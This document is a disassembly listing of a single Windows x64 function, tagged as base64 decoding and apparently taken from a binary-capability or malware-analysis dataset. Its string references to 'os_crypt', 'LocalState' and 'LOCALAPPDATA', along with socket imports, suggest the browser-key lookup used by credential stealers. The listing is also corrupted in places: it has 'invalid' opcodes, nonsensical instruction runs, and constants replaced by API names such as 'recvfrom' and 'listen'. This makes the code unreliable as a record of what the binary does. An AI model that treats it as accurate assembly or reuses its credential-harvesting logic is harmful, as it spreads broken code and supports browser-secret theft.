Function at 0x14003c7d9
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x3a8
mov r15, rdx
mov r12, rcx
lea rsi, [rdx + 0x60]
mov rcx, qword [rdx + 0x60]
mov rdx, qword [rdx + 0x68]
lea r8, [0x1402e6126]
mov r9d, 9
call fcn.140064d09
mov ecx, eax
xor cl, 1
movzx ecx, cl
lea r9, [rcx + rcx*8]
add r9, 0xc
lea rcx, [0x1402e6144]
lea r8, [0x1402e612f]
test al, al
cmovne r8, rcx
lea rdi, [rsp + 0x80]
mov rcx, rdi
mov rdx, rsi
call fcn.1400643d3
movabs rax, 0x8000000000000000
movabs r14, 0x8000000000000019
cmp qword [rdi], rax
jne 0x14003c88f
movups xmm0, xmmword [rsp + 0x88]
lea rcx, [rsp + 0x130]
movups xmmword [rcx], xmm0
call fcn.1400098d6
movabs rax, 0x8000000000000012
mov qword [rsp + 0x270], rax
jmp 0x14003cfdd
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
lea rcx, [rsp + 0x2e0]
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
call fcn.1400b043e
mov rsi, rdx
test rax, rax
je 0x14003c8d0
lea rcx, [rsp + 0x270]
mov rdx, rsi
call fcn.140040e6b
jmp 0x14003cec2
lea rdi, [rsp + 0x80]
mov edx, 0x2000
mov rcx, rdi
call fcn.140064b4f
cmp qword [rdi], 0
jne 0x14003f782
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 0x2000
xorps xmm0, xmm0
and qword [rsp + 0x150], 0
movups xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x158], rsi
cmp qword [r15 + 0x10], 0
je 0x14003c969
lea rdx, [rsp + 0x1e0]
and qword [rdx], 0
mov qword [rdx + 8], 1
and qword [rdx + 0x10], 0
lea rcx, [rsp + 0x130]
call fcn.1400b09ff
test rax, rax
je 0x14003c9d5
mov rsi, rdx
mov rdi, qword [rsp + 0x1e8]
jmp 0x14003ca05
lea rcx, [rsp + 0x130]
mov rdx, r15
call fcn.1400b09ff
mov rbx, rax
mov r13, r14
mov r14, rdx
mov rdi, qword [r15 + 8]
mov rbp, r15
mov r15, qword [r15 + 0x10]
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, rdi
mov r8, r15
call fcn.14006b5e0
mov rcx, qword [rsi]
test rbx, rbx
lea rsi, str.O_._
cmovne rsi, r14
xor eax, eax
test rcx, rcx
cmove rax, r15
mov r15, rbp
cmove rsi, r14
mov r14, r13
mov qword [rbp + 0x10], rax
or rcx, rbx
jne 0x14003ca15
jmp 0x14003ca5a
mov rdi, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, rdi
call fcn.14006b5e0
cmp qword [rsi], 0
je 0x14003ca2a
lea rsi, str.O_._
mov rcx, qword [rsp + 0x1e0]
mov rdx, rdi
call fcn.1400afd38
lea rcx, [rsp + 0x270]
mov rdx, rsi
call fcn.140040e6b
jmp 0x14003ceb5
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
mov rcx, r15
call fcn.140080a3f
mov rcx, qword [rsp + 0x1e0]
mov rdx, rdi
call fcn.1400afd38
mov rdi, qword [r15 + 8]
mov rax, qword [r15 + 0x10]
lea rdx, [rsp + 0x80]
mov qword [rdx + 0x18], rdi
mov qword [rdx + 0x20], rax
and qword [rdx + 0x28], 0
and qword [rdx], 0
mov qword [rdx + 8], 1
and qword [rdx + 0x10], 0
mov byte [rdx + 0x30], 0x80
lea rsi, [rsp + 0x100]
mov rcx, rsi
call fcn.140002be7
cmp byte [rsi], 0
je 0x14003caa6
mov rbx, qword [rsp + 0x108]
jmp 0x14003ce7e
cmp byte [rsp + 0x101], 0
je 0x14003cd57
movzx eax, byte [rsp + 0x102]
cmp eax, 0x5b
je 0x14003cc51
cmp eax, 0x7b
jne 0x14003ce4c
dec byte [rsp + 0xb0]
je 0x14003ce21
add eax, dword [rax]
invalid
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], r12
lea rdi, [rsp + 0x98]
inc qword [rdi + 0x10]
xor ebp, ebp
lea rbx, [rsp + 0x100]
lea r15, [rsp + 0x80]
lea r12, [rsp + 0x1e0]
lea r13, str.os_cryptstruct_LocalStatestruct_LocalState_with_1_element
xor r14d, r14d
mov rcx, rbx
mov rdx, r15
call fcn.140002be7
cmp byte [rsp + 0x100], 0
jne 0x14003cd2b
cmp byte [rsp + 0x101], 0
je 0x14003f640
mov al, byte [rsp + 0x102]
movzx ecx, al
cmp ecx, 0x2c
je 0x14003cb5f
cmp ecx, 0x7d
je 0x14003cd6b
test bpl, 1
je 0x14003cb9b
jmp 0x14003f689
test bpl, 1
je 0x14003cb9b
inc qword [rsp + 0xa8]
mov rcx, r12
mov rdx, r15
call fcn.140002be7
cmp byte [rsp + 0x1e0], 0
jne 0x14003f5dc
cmp byte [rsp + 0x1e1], 0
je 0x14003f6c0
mov al, byte [rsp + 0x1e2]
cmp al, 0x22
jne 0x14003f5e9
inc qword [rsp + 0xa8]
and qword [rsp + 0x90], 0
mov rcx, r12
mov rdx, rdi
mov r8, r15
call fcn.140111ab4
cmp dword [rsp + 0x1e0], 2
mov rcx, qword [rsp + 0x1e8]
je 0x14003cd33
mov rdx, qword [rsp + 0x1f0]
mov r9d, 8
mov r8, r13
call fcn.140064d09
test al, al
jne 0x14003cc0b
mov rcx, r15
call fcn.14001943f
mov bpl, 1
test rax, rax
je 0x14003cb15
jmp 0x14003cd45
test r14, r14
jne 0x14003f6e4
mov rcx, r15
call fcn.140002cb9
test rax, rax
jne 0x14003f6f5
mov rcx, r12
mov rdx, r15
call fcn.140034251
mov r14, qword [rsp + 0x1e0]
test r14, r14
je 0x14003f6b6
mov rsi, qword [rsp + 0x1e8]
mov bpl, 1
jmp 0x14003cb15
dec byte [rsp + 0xb0]
je 0x14003ce21
lea rdx, [rsp + 0x80]
inc qword [rdx + 0x28]
lea rsi, [rsp + 0x100]
mov ah, 0x24
add byte [rcx], al
add byte [rax], al
mov rcx, rsi
call fcn.140002be7
cmp byte [rsi], 0
je 0x14003cc8b
mov rsi, qword [rsp + 0x108]
xor ebx, ebx
jmp 0x14003ccd3
cmp byte [rsp + 0x101], 0
je 0x14003f60c
cmp byte [rsp + 0x102], 0x5d
je 0x14003f62a
lea rsi, [rsp + 0x1e0]
lea rdx, [rsp + 0x80]
mov rcx, rsi
call fcn.140034251
mov rbx, qword [rsi]
test rbx, rbx
je 0x14003ce3f
mov rsi, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x80]
inc byte [rcx + 0x30]
call fcn.140112764
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], rsi
mov qword [rsp + 0x1f0], rax
test rbx, rbx
je 0x14003cd12
xor edi, edi
test rax, rax
cmove rdi, rbx
cmovne rsi, rax
jmp 0x14003cdd8
test rax, rax
je 0x14003cd24
lea rcx, [rsp + 0x1f0]
call fcn.140009e87
xor edi, edi
jmp 0x14003cdd8
mov rcx, qword [rsp + 0x108]
mov r12, qword [rsp + 0x38]
mov r15, qword [rsp + 0x30]
xor r14d, r14d
mov rsi, rcx
jmp 0x14003cd7e
xor r14d, r14d
mov rsi, rax
mov r12, qword [rsp + 0x38]
mov r15, qword [rsp + 0x30]
jmp 0x14003cd7e
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 5
jmp 0x14003ce30
test r14, r14
mov r12, qword [rsp + 0x38]
mov r15, qword [rsp + 0x30]
je 0x14003f69a
lea rcx, [rsp + 0x80]
inc byte [rcx + 0x30]
call fcn.140002d68
mov qword [rsp + 0x1e0], r14
mov qword [rsp + 0x1e8], rsi
mov ah, 0x24
call 0x18803cda0
mov dword [rsp + 0x1f0], eax
test r14, r14
je 0x14003cdba
xor edi, edi
test rax, rax
cmove rdi, r14
cmovne rsi, rax
jmp 0x14003cdce
test rax, rax
je 0x14003cdcc
lea rcx, [rsp + 0x1f0]
call fcn.140009e87
xor edi, edi
movabs r14, 0x8000000000000019
test rdi, rdi
je 0x14003ce6b
lea rcx, [rsp + 0x80]
call fcn.140002d1d
mov rbx, rax
test rax, rax
jne 0x14003ce7e
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
xchg esp, eax
and al, 0x88
add byte [rax], al
add al, ch
sub dword [rdi], ebp
invalid
add byte [rax - 0x73], cl
mov word [rax + rsi], fs
add dword [rax], eax
add al, ch
adc eax, ebp
cld
invalid
jmp 0x14003cee0
lea rdx, [rsp + 0x1e0]
mov qword [rdx], reloc.WS2_32.dll_setsockopt
lea rcx, [rsp + 0x80]
call fcn.1402ddbec
jmp 0x14003ce7b
mov rsi, qword [rsp + 0x1e8]
jmp 0x14003cc87
lea r8, [0x1402e5d38]
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x1c0]
call fcn.1402d93f9
mov rsi, rax
lea rdx, [rsp + 0x80]
mov rcx, rsi
call fcn.1402ddc28
mov rbx, rax
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
call fcn.1400afd38
movabs rax, 0x8000000000000017
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x278], rbx
mov qword [rsp + 0x280], rbx
lea rcx, [rsp + 0x130]
call fcn.14000b62d
cmp qword [rsp + 0x270], r14
jne 0x14003cfdd
mov rdi, qword [rsp + 0x278]
mov rsi, qword [rsp + 0x280]
lea rbx, [rsp + 0x130]
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.140129aaf
mov rbp, qword [rbx + 0x10]
lea rax, [rbp*4]
mov ecx, 3
xor edx, edx
div rcx
lea rcx, [rsp + 0x80]
mov rdx, rax
call fcn.140015e0e
cmp rbp, 0xfffffffffffffff9
jae 0x14003f700
mov rsi, qword [rsp + 0x90]
lea rdi, [rbp + 7]
shr rdi, 3
imul rdx, rdi, 6
add rdx, rsi
jb 0x14003f718
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
mov r13, qword [rsp + 0x138]
lea rbx, [rsp + 0x80]
mov rcx, rbx
call fcn.1400c7ebd
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
lea r9, [0x1402e4d98]
mov qword [rsp + 0x358], rsi
mov rcx, rsi
call fcn.14000302a
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], rdx
mov eax, ebp
and eax, 7
cmp rax, 5
ja case.default.0x14003cfae
lea rcx, [0x1403d37c4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov dil, 1
sub rbp, 1
jb 0x14003cfd6
movzx esi, byte [r13 + rbp]
cmp rsi, 0x3d
je 0x14003cfd6
lea rax, [0x1402e49f0]
cmp byte [rsi + rax], 0xff
je 0x14003e5b4
xor ebx, ebx
jmp 0x14003ebc3
lea rcx, [rsp + 0x270]
call fcn.14000af52
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, r15
call fcn.14003b6f5
mov rcx, qword [rsi]
mov r8, qword [rsi + 8]
mov rbp, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
cmp rcx, r14
jne 0x14003d127
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], r12
imul r13, rax, 0x48
mov rax, rbp
add rax, r13
mov qword [rsp + 0x1e0], rbp
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x1f0], r8
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x1f8], rax
xor r14d, r14d
lea r15, [rsp + 0x2e0]
lea r12, [rsp + 0x130]
mov rbx, rbp
cmp r13, r14
je 0x14003d14c
lea rax, [r14 + rbp]
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x88], rbx
mov ecx, 9
lea rdi, [rsp + 0x90]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0xd0], 0
je 0x14003d111
cmp qword [rsp + 0xa0], 0
je 0x14003d111
mov ecx, 9
mov rdi, r15
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, r12
mov rdx, r15
call fcn.140044c02
lea rsi, [rsp + 0x270]
mov rcx, rsi
mov rdx, r12
xor r8d, r8d
call fcn.140040982
mov rcx, r12
mov rdx, rsi
call fcn.14000c4ab
mov rcx, r15
call fcn.14000b00d
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x130], rax
je 0x14003d11e
mov ecx, 9
mov rdi, rbx
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
add rbx, 0x48
jmp 0x14003d11e
lea rcx, [rsp + 0x90]
call fcn.14000b00d
add r14, 0x48
jmp 0x14003d061
mov rdx, qword [rsp + 0xa0]
mov qword [r12], rcx
mov qword [r12 + 8], r8
mov qword [r12 + 0x10], rbp
mov qword [r12 + 0x18], rax
mov qword [r12 + 0x20], rdx
jmp 0x14003f444
lea rsi, [rsp + 0x1e0]
mov rax, qword [rsp + 0x58]
mov qword [rsi + 8], rax
sub rbx, rbp
mov ecx, 0x48
mov rax, rbx
xor edx, edx
div rcx
mov rdi, rax
mov rcx, rsi
call fcn.140016183
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x260], rbp
mov qword [rsp + 0x268], rdi
mov rcx, rsi
call fcn.14000878f
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, qword [rsp + 0x30]
call fcn.14003c255
mov rcx, qword [rsi]
mov r9, qword [rsi + 8]
mov rbp, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
movabs rdx, 0x8000000000000019
cmp rcx, rdx
jne 0x14003d2f8
imul r12, rax, 0x70
lea rax, [r12 + rbp]
mov qword [rsp + 0x1e0], rbp
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x1f0], r9
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x1f8], rax
lea r15, [rsp + 0x90]
xor r14d, r14d
lea r13, [rsp + 0x130]
mov rbx, rbp
mov qword [rsp + 0x50], r12
cmp r12, r14
je 0x14003d31d
lea rax, [r14 + rbp]
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x88], rbx
mov ecx, recvfrom
mov rdi, r15
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0xd0], 0
je 0x14003d2e7
cmp qword [rsp + 0xa0], 0
je 0x14003d2e7
mov r12, r15
mov ecx, recvfrom
lea r15, [rsp + 0x2e0]
mov rdi, r15
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, r13
mov rdx, r15
call fcn.140044c46
lea rsi, [rsp + 0x270]
mov rcx, rsi
mov rdx, r13
xor r8d, r8d
call fcn.140040cc0
mov rcx, r13
mov rdx, rsi
call fcn.14000c47c
mov rcx, r15
call fcn.140009d22
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x130], rax
je 0x14003d2d5
mov ecx, recvfrom
mov rdi, rbx
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
add rbx, 0x70
mov r15, r12
lea r13, [rsp + 0x130]
mov r12, qword [rsp + 0x50]
jmp 0x14003d2ef
mov rcx, r15
call fcn.140009d22
add r14, 0x70
jmp 0x14003d219
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x38]
mov qword [r8], rcx
mov qword [r8 + 8], r9
mov qword [r8 + 0x10], rbp
mov qword [r8 + 0x18], rax
mov qword [r8 + 0x20], rdx
jmp 0x14003d51e
lea rsi, [rsp + 0x1e0]
mov rax, qword [rsp + 0x70]
mov qword [rsi + 8], rax
sub rbx, rbp
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov rax, rbx
xor edx, edx
div rcx
mov rdi, rax
mov rcx, rsi
call fcn.14001622e
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], rbp
mov qword [rsp + 0x1d0], rdi
mov rcx, rsi
call fcn.140008744
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, qword [rsp + 0x30]
call fcn.14003bc8b
mov rax, qword [rsi]
mov r8, qword [rsi + 8]
mov r12, qword [rsi + 0x10]
mov r13, qword [rsi + 0x18]
movabs rcx, 0x8000000000000019
cmp rax, rcx
jne 0x14003d4f1
shl r13, 6
lea rax, [r12 + r13]
mov qword [rsp + 0x1e0], r12
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x1f0], r8
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x1f8], rax
xor r14d, r14d
lea rsi, [rsp + 0x130]
lea rdi, [rsp + 0x2e0]
lea rbx, [rsp + 0x270]
mov rbp, r12
cmp r13, r14
je 0x14003d530
lea rax, [r12 + r14]
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x88], rbp
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movups xmmword [r15 + 0x30], xmm3
movups xmmword [r15 + 0x20], xmm2
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
cmp qword [rsp + 0xa0], 0
je 0x14003d4e0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x310], xmm3
movaps xmmword [rsp + 0x300], xmm2
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x2e0], xmm0
mov rcx, rsi
mov rdx, rdi
call fcn.140044ca1
mov rcx, rbx
mov rdx, rsi
xor r8d, r8d
call fcn.140040b10
mov rcx, rsi
mov rdx, rbx
call fcn.14000c424
mov rcx, rdi
call fcn.14000a91e
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x130], rax
je 0x14003d4e8
movups xmm0, xmmword [rsp + 0x130]
movups xmm1, xmmword [rsp + 0x140]
movups xmm2, xmmword [rsp + 0x150]
movups xmm3, xmmword [rsp + 0x160]
movups xmmword [rbp + 0x30], xmm3
movups xmmword [rbp + 0x20], xmm2
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp], xmm0
add rbp, 0x40
jmp 0x14003d4e8
mov rcx, r15
call fcn.14000a91e
add r14, 0x40
jmp 0x14003d3ed
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x38]
mov qword [rdx], rax
mov qword [rdx + 8], r8
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r13
mov qword [rdx + 0x20], rcx
lea rcx, [rsp + 0x1c0]
call fcn.14000b88f
lea rcx, [rsp + 0x258]
call fcn.14000b8fa
jmp 0x14003f444
lea rdi, [rsp + 0x1e0]
mov rax, qword [rsp + 0x58]
mov qword [rdi + 8], rax
sub rbp, r12
shr rbp, 6
mov rcx, rdi
call fcn.1400161dd
lea rsi, [rsp + 0x100]
mov rax, qword [rsp + 0x50]
mov qword [rsi], rax
mov qword [rsi + 8], r12
mov qword [rsi + 0x10], rbp
mov rcx, rdi
call fcn.140008702
mov r15, qword [rsp + 0x30]
lea rcx, [r15 + 0x18]
lea rdi, [rsp + 0x258]
mov rdx, rdi
call fcn.140015f79
lea rcx, [r15 + 0x30]
lea rbx, [rsp + 0x1c0]
mov rdx, rbx
call fcn.140015e76
lea rcx, [r15 + 0x48]
mov rdx, rsi
call fcn.14001607c
mov rax, qword [r15 + 0x28]
add qword [0x14041a860], rax
mov rax, qword [r15 + 0x58]
add qword [0x14041a878], rax
mov rcx, rsi
call fcn.14000ba5b
mov rcx, rbx
call fcn.14000b88f
mov rcx, rdi
call fcn.14000b8fa
lea rdx, str.LOCALAPPDATA
lea rsi, [rsp + 0x130]
mov r8d, listen
mov rcx, rsi
call fcn.14011b310
movabs rax, 0x8000000000000001
cmp qword [rsi], rax
jne 0x14003f840
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x1d0], rax
movups xmm0, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0x1c0], xmm0
mov r13, qword [r15 + 0x20]
mov rdi, qword [r15 + 0x28]
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, rdi
call fcn.1400a3921
cmp qword [rsi], 0
mov rcx, qword [rsi + 8]
jne 0x14003f78a
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x2e0], rcx
mov qword [rsp + 0x2e8], rax
and qword [rsp + 0x2f0], 0
cmp rdi, rcx
mov qword [rsp + 0x30], r15
ja 0x14003e8b1
xor r8d, r8d
test rdi, rdi
je 0x14003d76b
mov qword [rsp + 0x50], r8
imul rsi, r8, 0x18
add rsi, rax
neg rdi
xor ebp, ebp
lea r14, [fcn.14001aa6d]
mov ebx, 3
lea r15, [rsp + 0x270]
lea r12, [rsp + 0x130]
lea rax, [r13 + 0x18]
lea rcx, [r13 + 0x30]
mov qword [rsp + 0x80], r13
mov qword [rsp + 0x88], r14
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], r14
lea rax, reloc.WS2_32.dll_accept
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rbx
and qword [rsp + 0x150], 0
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xa8], r14
lea rax, [rsp + 0x80]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rbx
mov rcx, r15
mov rdx, r12
call fcn.140015cd6
mov rax, qword [rsp + 0x280]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rsp + 0x270]
movups xmmword [rsi], xmm0
dec rbp
add rsi, 0x18
add r13, 0x48
cmp rdi, rbp
jne 0x14003d6b8
mov r8, qword [rsp + 0x50]
sub r8, rbp
mov r15, qword [rsp + 0x30]
movups xmm0, xmmword [rsp + 0x2e0]
lea rdi, [rsp + 0x80]
movaps xmmword [rdi], xmm0
mov qword [rdi + 0x10], r8
mov rdx, qword [rdi + 8]
lea rbx, [rsp + 0x100]
mov rcx, rbx
call fcn.1400a45a9
mov rcx, rdi
call fcn.14000af8b
lea rdi, [0x1403a2f6e]
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call fcn.140080a3f
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call fcn.140080a3f
lea rbx, [rsp + 0x1e0]
mov edx, 1
mov rcx, rbx
xor r8d, r8d
call fcn.140129aaf
mov r8d, 1
mov rcx, rbx
mov rdx, rdi
call fcn.140080a3f
mov r13, qword [r15 + 0x38]
mov rdi, qword [r15 + 0x40]
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, rdi
call fcn.1400a3921
cmp qword [rsi], 0
mov rcx, qword [rsi + 8]
jne 0x14003f78a
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x378], rcx
mov qword [rsp + 0x380], rax
and qword [rsp + 0x388], 0
cmp rdi, rcx
ja 0x14003e8d3
xor r8d, r8d
test rdi, rdi
je 0x14003d9d5
mov qword [rsp + 0x50], r8
imul rbp, r8, 0x18
add rbp, rax
neg rdi
xor esi, esi
lea r15, [fcn.14001aa6d]
mov ebx, 6
lea r14, [rsp + 0x270]
lea r12, [rsp + 0x130]
mov rax, qword [r13 + 0x68]
test rax, rax
je 0x14003d8a1
cmp rax, 1
jne 0x14003d8b7
lea rax, [0x1402e657d]
mov qword [rsp + 0x2e0], rax
mov eax, 4
jmp 0x14003d8cb
lea rax, str.FALSETRUEUNKNOWN_t_tFALSE_t
mov qword [rsp + 0x2e0], rax
mov eax, 5
jmp 0x14003d8cb
lea rax, [0x1402e6581]
mov qword [rsp + 0x2e0], rax
mov eax, 7
mov qword [rsp + 0x2e8], rax
lea rax, [r13 + 0x60]
lea rcx, [r13 + 0x18]
lea rdx, [r13 + 0x30]
lea r8, [r13 + 0x48]
mov qword [rsp + 0x80], r13
mov qword [rsp + 0x88], r15
lea r9, [rsp + 0x2e0]
mov qword [rsp + 0x90], r9
lea r9, [fcn.140178b6b]
mov qword [rsp + 0x98], r9
mov qword [rsp + 0xa0], r8
mov qword [rsp + 0xa8], r15
mov qword [rsp + 0xb0], rax
lea rax, [fcn.140073770]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], r15
lea rax, reloc.WS2_32.dll_accept
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rbx
and qword [rsp + 0x150], 0
mov qword [rsp + 0xd0], rdx
mov qword [rsp + 0xd8], r15
lea rax, [rsp + 0x80]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rbx
mov rcx, r14
mov rdx, r12
call fcn.140015cd6
mov rax, qword [rsp + 0x280]
mov qword [rbp + 0x10], rax
movups xmm0, xmmword [rsp + 0x270]
movups xmmword [rbp], xmm0
dec rsi
add rbp, 0x18
add r13, 0x70
cmp rdi, rsi
jne 0x14003d87c
invalid
mov r8, qword [rsp + 0x50]
sub r8, rsi
mov r15, qword [rsp + 0x30]
and al, 0x30
lea rdi, [rsp + 0x378]
mov qword [rdi + 0x10], r8
mov rdx, qword [rdi + 8]
lea rbx, [rsp + 0x80]
lea ebx, [rsp + 0x80]
mov rcx, rbx
call fcn.1400a45a9
mov r14, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
lea rcx, [rsp + 0x1e0]
mov rdx, r14
call fcn.140080a3f
mov rcx, qword [rbx]
mov rdx, r14
call fcn.1400afd38
mov rcx, rdi
call fcn.14000af8b
lea rcx, [rsp + 0x2e0]
mov edx, 1
xor r8d, r8d
call fcn.140129aaf
mov r13, qword [r15 + 0x50]
mov rdi, qword [r15 + 0x58]
lea rsi, [rsp + 0x80]
mov rcx, rsi
mov rdx, rdi
call fcn.1400a3921
cmp qword [rsi], 0
mov rcx, qword [rsi + 8]
jne 0x14003f78a
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x390], rcx
mov qword [rsp + 0x398], rax
and qword [rsp + 0x3a0], 0
cmp rdi, rcx
ja 0x14003e8f5
xor r8d, r8d
test rdi, rdi
je 0x14003db8d
mov qword [rsp + 0x50], r8
imul rsi, r8, 0x18
add rsi, rax
neg rdi
xor ebp, ebp
lea r14, [fcn.14001aa6d]
lea rbx, [fcn.140073770]
mov r15d, 4
lea r12, [rsp + 0x130]
mov qword [rsp + 0x30], r15
mov eax, 0xa
jmp 0x14003dec8
mov qword [rsp + 0x30], r15
mov eax, 8
jmp 0x14003dec8
mov qword [rsp + 0x30], r15
mov eax, listen
jmp 0x14003dec8
mov qword [rsp + 0x30], r15
jmp 0x14003dec8
mov qword [rsp + 0x30], r15
mov eax, listen
xor r15d, r15d
mov rbx, rbp
sub rbx, rax
cmovb rbx, r15
cmp rbx, 0x20
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x60], rbp
jb 0x14003e419
lea rcx, [rbx - 0x20]
mov r15d, 0x20
xor esi, esi
lea r8, [0x1402e4bc8]
lea r12, [0x1402e49f0]
mov qword [rsp + 0x250], rbx
mov qword [rsp + 0x350], rcx
lea rax, [r15 - 0x20]
cmp rax, rcx
ja 0x14003e999
test r15, r15
je 0x14003f819
mov qword [rsp + 0x48], rax
cmp r15, rbp
ja 0x14003f82e
lea rdx, [rsi + 0x1a]
mov qword [rsp + 0x20], r8
mov qword [rsp + 0x78], rsi
mov rcx, rsi
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x50]
call fcn.14007858c
mov r8, rdx
xor ecx, ecx
mov r14, rax
mov rdx, rax
mov qword [rsp + 0x128], r8
lea r9, [0x1402e4be0]
call fcn.14000302a
movzx esi, byte [r13 + r15 - 0x20]
movzx ecx, byte [rsi + r12]
cmp rcx, 0xff
je 0x14003e9a2
movzx esi, byte [r13 + r15 - 0x1f]
movzx r10d, byte [rsi + r12]
cmp r10, 0xff
je 0x14003e9ae
movzx esi, byte [r13 + r15 - 0x1e]
movzx r11d, byte [rsi + r12]
cmp r11, 0xff
je 0x14003e9bc
movzx esi, byte [r13 + r15 - 0x1d]
movzx r9d, byte [rsi + r12]
cmp r9, 0xff
je 0x14003e9ca
movzx esi, byte [r13 + r15 - 0x1c]
movzx ebx, byte [rsi + r12]
cmp rbx, 0xff
je 0x14003e9d8
mov qword [rsp + 0x70], rdi
movzx esi, byte [r13 + r15 - 0x1b]
movzx edi, byte [rsi + r12]
cmp rdi, 0xff
je 0x14003e9e6
movzx esi, byte [r13 + r15 - 0x1a]
mov rbp, r13
movzx r13d, byte [rsi + r12]
cmp r13, 0xff
je 0x14003e9f4
movzx esi, byte [rbp + r15 - 0x19]
movzx r8d, byte [rsi + r12]
cmp r8, 0xff
je 0x14003ea02
shl r10, 0x34
shl rcx, 0x3a
or rcx, r10
shl r11, 0x2e
shl r9, 0x28
or r9, r11
or r9, rcx
shl rbx, 0x22
shl rdi, 0x1c
or rdi, rbx
shl r13d, 0x16
or r13, rdi
or r13, r9
shl r8d, 0x10
or r8, r13
mov rcx, rax
call fcn.14001dfc3
mov ecx, 6
mov rdx, r14
mov r8, qword [rsp + 0x128]
lea r9, [0x1402e4bf8]
call fcn.14000302a
movzx esi, byte [rbp + r15 - 0x18]
movzx ecx, byte [rsi + r12]
cmp rcx, 0xff
mov r13, rbp
je 0x14003ea5e
movzx esi, byte [r13 + r15 - 0x17]
movzx r10d, byte [rsi + r12]
cmp r10, 0xff
je 0x14003ea6c
movzx esi, byte [r13 + r15 - 0x16]
movzx r11d, byte [rsi + r12]
cmp r11, 0xff
je 0x14003ea93
movzx esi, byte [r13 + r15 - 0x15]
movzx r9d, byte [rsi + r12]
cmp r9, 0xff
je 0x14003eaa1
movzx esi, byte [r13 + r15 - 0x14]
movzx edi, byte [rsi + r12]
cmp rdi, 0xff
je 0x14003eaaf
movzx esi, byte [r13 + r15 - 0x13]
movzx ebx, byte [rsi + r12]
